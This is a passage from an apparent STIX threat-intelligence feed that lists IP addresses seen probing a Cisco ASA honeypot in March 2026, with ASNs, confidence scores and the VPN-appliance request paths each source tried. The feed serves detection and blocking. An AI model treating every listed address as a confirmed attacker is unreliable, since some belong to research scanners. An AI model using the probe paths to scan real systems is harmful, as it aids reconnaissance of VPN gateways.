      "valid_from": "2026-03-04T01:20:13.000Z",
      "valid_until": "2026-04-05T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 52,
          "first_seen": "2026-03-04T01:00:55.992Z",
          "last_seen": "2026-03-26T00:34:00.780Z",
          "country": "Hong Kong",
          "country_code": "HK",
          "asn": 132203,
          "as_org": "Tencent Building, Kejizhongyi Avenue",
          "event_types": [
            "\"GET /+CSCOE+/common.js HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/home/index.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/login.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/logout.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/save_capture.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOE+/sdesktop/logout.html HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/Java.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /+CSCOL+/csvrloader64.cab HTTP/1.1\" 404 -",
            "\"GET /+CSCOU+/MacTunnelStart.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T01:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--81f4e5aa-5a10-46a7-a65e-325ad61fe5bb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '54.167.11.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T01:20:13.000Z",
      "valid_until": "2026-04-05T01:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-04T00:48:56.738Z",
          "last_seen": "2026-03-04T00:48:56.738Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 - geo: US; ASN 396356 (Latitude.sh)",
      "id": "indicator--9626343b-6020-44f5-aa91-fd2cadca3c2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '136.144.35.169']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T03:20:06.000Z",
      "valid_until": "2026-04-05T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 90,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 208,
          "first_seen": "2026-03-04T02:30:33.578Z",
          "last_seen": "2026-03-06T17:48:26.996Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396356,
          "as_org": "Latitude.sh",
          "event_types": [
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T03:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 398324 (Censys, Inc.)",
      "id": "indicator--788e1e14-6fe0-4aae-9c18-86cbb7f2474b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '66.132.153.141']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T03:20:06.000Z",
      "valid_until": "2026-04-05T03:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 6,
          "first_seen": "2026-03-04T02:40:35.309Z",
          "last_seen": "2026-03-04T02:40:51.505Z",
          "country": "United States",
          "country_code": "US",
          "asn": 398324,
          "as_org": "Censys, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /version HTTP/1.1\" 404 -",
            "\"PRI * HTTP/2.0\" 505 -",
            "Request timed out: TimeoutError(The read operation timed out)",
            "code 505"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T06:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--1ea9e386-3cfa-4007-8501-5ce146f3301f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T06:20:06.000Z",
      "valid_until": "2026-04-05T06:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-04T05:55:09.851Z",
          "last_seen": "2026-03-04T05:55:09.851Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T09:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--32453398-a809-4236-86be-ebd77e06c5ec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '137.184.54.0']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T09:20:12.000Z",
      "valid_until": "2026-04-05T09:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-04T09:15:37.155Z",
          "last_seen": "2026-03-04T09:15:40.158Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--6b64859f-be45-4835-9fe1-cf1028433437",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:20:13.000Z",
      "valid_until": "2026-04-05T10:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-04T09:47:04.736Z",
          "last_seen": "2026-03-27T05:13:35.952Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang//custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--2c552eaf-6fc2-45a7-89c3-ba7082ebe0f0",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.115']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:20:13.000Z",
      "valid_until": "2026-04-05T10:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-04T09:48:52.117Z",
          "last_seen": "2026-03-27T05:13:58.962Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--198cd619-fcc0-46dd-b437-00f6f118292d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:20:13.000Z",
      "valid_until": "2026-04-05T10:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-04T09:48:40.836Z",
          "last_seen": "2026-03-04T09:48:40.836Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--11d148f0-5a41-403a-af98-444e06ae8913",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:20:13.000Z",
      "valid_until": "2026-04-05T10:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-04T09:48:30.141Z",
          "last_seen": "2026-03-04T09:48:30.141Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /api/v2/static/not.found HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--889d01bc-c7a5-4179-be83-7022715816be",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:20:13.000Z",
      "valid_until": "2026-04-05T10:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 23,
          "first_seen": "2026-03-04T09:44:57.036Z",
          "last_seen": "2026-03-27T05:15:21.180Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
            "\"GET /remote/logincheck HTTP/1.1\" 404 -",
            "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
            "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -",
            "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /static/lang/custom/sbin/init HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--e8765305-2da7-4c72-9c50-12b6b3055c2b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:20:13.000Z",
      "valid_until": "2026-04-05T10:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-04T09:48:43.267Z",
          "last_seen": "2026-03-27T05:13:46.525Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /static/lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T10:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 6939 (Hurricane Electric LLC)",
      "id": "indicator--bae5ef84-afb3-46bb-b775-70bf78cd802b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T10:20:13.000Z",
      "valid_until": "2026-04-05T10:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 4,
          "first_seen": "2026-03-04T09:46:39.230Z",
          "last_seen": "2026-03-27T05:14:02.640Z",
          "country": "United States",
          "country_code": "US",
          "asn": 6939,
          "as_org": "Hurricane Electric LLC",
          "event_types": [
            "\"GET /static/lang//custom/sbin/init HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T13:20:14.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--e8697644-8d67-4ea9-808f-db6c2ff4a36e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.182.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T13:20:14.000Z",
      "valid_until": "2026-04-05T13:20:13.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 75,
          "first_seen": "2026-03-04T12:47:51.845Z",
          "last_seen": "2026-03-04T15:47:38.148Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T14:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 201002 (PebbleHost Ltd)",
      "id": "indicator--0a70c5b6-4efb-4f65-b9c1-baea0615176a",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '85.11.182.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T14:20:12.000Z",
      "valid_until": "2026-04-05T14:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 1,
          "first_seen": "2026-03-04T13:29:15.499Z",
          "last_seen": "2026-03-04T13:29:15.499Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 201002,
          "as_org": "PebbleHost Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T16:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: BE; ASN 396982 (Google LLC)",
      "id": "indicator--95b5bc94-d295-4610-aa73-6d37f762e662",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '35.233.96.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:20:12.000Z",
      "valid_until": "2026-04-05T16:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-04T15:44:00.849Z",
          "last_seen": "2026-03-04T15:44:01.789Z",
          "country": "Belgium",
          "country_code": "BE",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T16:20:12.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 10439 (CariNet, Inc.)",
      "id": "indicator--db81c215-aa54-46a7-991f-e56e29be14b4",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '71.6.134.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T16:20:12.000Z",
      "valid_until": "2026-04-05T16:20:11.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 3,
          "first_seen": "2026-03-04T16:05:09.917Z",
          "last_seen": "2026-03-04T16:06:44.716Z",
          "country": "United States",
          "country_code": "US",
          "asn": 10439,
          "as_org": "CariNet, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: IN; ASN 135377 (UCLOUD INFORMATION TECHNOLOGY HK LIMITED)",
      "id": "indicator--00c3341c-e9a0-4ad9-856c-a0c4a7bf14aa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '152.32.156.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:20:06.000Z",
      "valid_until": "2026-04-05T19:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 16,
          "first_seen": "2026-03-04T18:42:11.302Z",
          "last_seen": "2026-03-04T18:42:55.928Z",
          "country": "India",
          "country_code": "IN",
          "asn": 135377,
          "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/blank.html HTTP/1.1\" 200 -",
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"GET /config.json HTTP/1.1\" 404 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -",
            "\"GET /robots.txt HTTP/1.1\" 404 -",
            "\"GET /sitemap.xml HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T19:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 16509 (Amazon.com, Inc.)",
      "id": "indicator--cbae1715-03f1-4b03-9c28-42ca1b21b690",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '18.218.118.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T19:20:06.000Z",
      "valid_until": "2026-04-05T19:20:05.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-04T19:18:05.196Z",
          "last_seen": "2026-03-04T19:18:08.197Z",
          "country": "United States",
          "country_code": "US",
          "asn": 16509,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T20:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14061 (DigitalOcean, LLC)",
      "id": "indicator--222dd31c-2066-490d-9bc9-8e893247e03d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '159.65.187.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T20:20:13.000Z",
      "valid_until": "2026-04-05T20:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-04T19:32:58.339Z",
          "last_seen": "2026-03-04T19:33:01.342Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14061,
          "as_org": "DigitalOcean, LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T21:20:13.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 396982 (Google LLC)",
      "id": "indicator--91a0d99d-eab0-4a77-aab4-f9ad96d61fe5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-03-31T23:48:59Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 March 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-04T21:20:13.000Z",
      "valid_until": "2026-04-05T21:20:12.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-03",
          "attack_count": 2,
          "first_seen": "2026-03-04T21:01:18.739Z",
          "last_seen": "2026-03-04T21:01:21.742Z",
          "country": "United States",
          "country_code": "US",
          "asn": 396982,
          "as_org": "Google LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "Request timed out: TimeoutError(The read operation timed out)"
          ]
        }
      }
    },
    {
      "created": "2026-03-04T21:20:13.000Z",
